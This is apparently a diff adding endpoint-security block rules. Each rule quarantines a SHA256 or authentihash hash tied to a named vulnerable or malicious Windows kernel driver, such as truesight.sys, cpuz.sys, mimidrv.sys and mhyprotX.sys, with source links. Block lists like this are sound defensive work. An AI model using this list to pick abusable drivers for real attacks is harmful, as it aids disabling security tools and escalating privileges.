+  "hl_testing_start_time": "2026-03-23T11:45:31.809857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "145cf879dd3dcf38b328d1a0b94ffee8534fa6f5d0c34264d59fed7154b5c1c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8444fbf2-dc2a-5d36-81c3-d5f5778557f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986235Z",
+  "creation_date": "2026-03-23T11:45:29.986237Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a2482e19040d591c7cec5dfc35865596ce0154350b5c4e1c9eecc86e7752145",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSBMon.sys) [https://www.loldrivers.io/drivers/babe348d-f160-41ec-9db9-2413b989c1f0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84531396-914a-500f-b688-59b0e4cd1e45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474416Z",
+  "creation_date": "2026-03-23T11:45:30.474420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5e671c37f0eeb437d1ef480ff15b855ef2fdbb127f9130443fbaa279c5a3d72",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84633318-4039-5bee-b38f-35b8ce54a2fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475244Z",
+  "creation_date": "2026-03-23T11:45:30.475247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d25b5e4d07f594c640dcd93cfc8ab3f0a38348150bd0bfae89f404fbb0d811c6",
+  "comment": "Malicious Kernel Driver (aka e29f6311ae87542b3d693c1f38e4e3ad.sys) [https://www.loldrivers.io/drivers/c00f818c-1c90-4b47-bc29-fb949f6efb65/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84797ff1-5acd-52ff-b177-b16519541de5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971096Z",
+  "creation_date": "2026-03-23T11:45:29.971099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb6ad7998aa1eb9c3b08cb7185bd4425fcc9c9b02ecfb4a3492e7b93033e8b11",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "847abe91-788c-5720-a276-020863f38da3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611830Z",
+  "creation_date": "2026-03-23T11:45:29.611832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "848719fb-9e90-5a1d-a54d-e9f29a293d35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146783Z",
+  "creation_date": "2026-03-23T11:45:32.146785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b87085d408c250bdaf933642aa64975a7127cbe393023aaf53d918cd8bf0e3ae",
+  "comment": "Vulnerable Kernel Driver (aka isodrivep64.sys) [https://www.loldrivers.io/drivers/bd6490c2-20ea-441e-803c-bc3b957dae4c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8489d886-cf22-513f-8b66-6da08cde7b85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148791Z",
+  "creation_date": "2026-03-23T11:45:31.148793Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f77f88061432157635b71a7c388bbd9eefbac401b9c8620d8787ee03a5e5c95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84906764-36ec-58dd-bd92-4a6d56e47dbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809648Z",
+  "creation_date": "2026-03-23T11:45:31.809651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809659Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdb6e4d73f7949bf58b4b854a3b85d20ef7e4486f88c2d2d02fb4922b7138dc2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "849103dd-af6d-512f-93db-f0df94e049d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488117Z",
+  "creation_date": "2026-03-23T11:45:31.488119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33475258d25e34a019400861d377c520c4b7e516e0141daf8a6a5e25172baf83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8494bb16-bc5a-59b3-b5bb-db814195af7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980064Z",
+  "creation_date": "2026-03-23T11:45:29.980066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f6fec8f7890d032461b127332759c88a1b7360aa10c6bd38482572f59d2ba8b",
+  "comment": "Malicious Kernel Driver (aka mJj0ge.sys) [https://www.loldrivers.io/drivers/412f4aaf-5525-458c-b87e-311e504b856d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84b5b0ab-fbb1-5b19-8deb-2bfb214f6e1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618761Z",
+  "creation_date": "2026-03-23T11:45:29.618764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e88617bf6581b7f48ab216f5a2cf40cfa728354f81a631568823426461902c87",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84c3f592-bab1-5c28-a5d1-587304b595a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976295Z",
+  "creation_date": "2026-03-23T11:45:29.976299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "575e58b62afab094c20c296604dc3b7dd2e1a50f5978d8ee24b7dca028e97316",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84c8674f-d53d-5800-842b-c444e2d29e59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973722Z",
+  "creation_date": "2026-03-23T11:45:29.973724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84ce4f64-8e4d-56b0-9474-40395cd00e78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825290Z",
+  "creation_date": "2026-03-23T11:45:30.825294Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd4e5d356f9c1f4fb71f8e0b3f20f7fd40c4fac0ccb8912460301c927362044d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84cfd4c4-a9b6-5c14-9ae0-2e3ea10297ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829808Z",
+  "creation_date": "2026-03-23T11:45:30.829810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70ad5c343b092a4e0738787feb772680f68f2014129e1fd6ae1eae16f475d735",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84e7457a-690b-56a1-83bd-8ab5a142465c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811663Z",
+  "creation_date": "2026-03-23T11:45:31.811665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811670Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5da99b951bad823261775596d6972183897a0eb005f6158e8406008781e87868",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84f10e98-0807-508e-9e3c-f0f7285ba74c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811627Z",
+  "creation_date": "2026-03-23T11:45:31.811630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811635Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42a56620cf2d1f718a9082e0ad37771d6f9c77c05cb65043043cbeaf10f8976a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84f6c9ec-7d75-58af-bf29-0e1cf76381a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483405Z",
+  "creation_date": "2026-03-23T11:45:31.483409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a09bf49a5d3cfe891ac4db204c4c38a977c7bbcc6668c445c319035c1889b1b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8503e349-8c4a-58b6-af9c-5560dfcebfe9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474959Z",
+  "creation_date": "2026-03-23T11:45:30.474962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7e3bd414674a3258be7ce384619b74946bafa218648a00c04e4e74f987f5723",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8520447a-caad-5d11-bdf5-8ad25e15a0e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140636Z",
+  "creation_date": "2026-03-23T11:45:31.140638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29bdcffcee5ddef60fa022fe42957b4309afd40ab2504f148a3eea51625bb973",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "852d5ba8-3cae-5b4d-8bdc-baaea092ed03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492803Z",
+  "creation_date": "2026-03-23T11:45:31.492805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f5de6c3636e996c5173f1277e7639b84f9149229ace4582e08a8a1b14fcadf8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "852dd15a-d0a6-5fb0-b8b2-9d5b703becaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462000Z",
+  "creation_date": "2026-03-23T11:45:30.462003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462012Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5ddfa39540d4e7ada56cdc1ebd2eb8c85a408ec078337488a81d1c3f2aaa4ff",
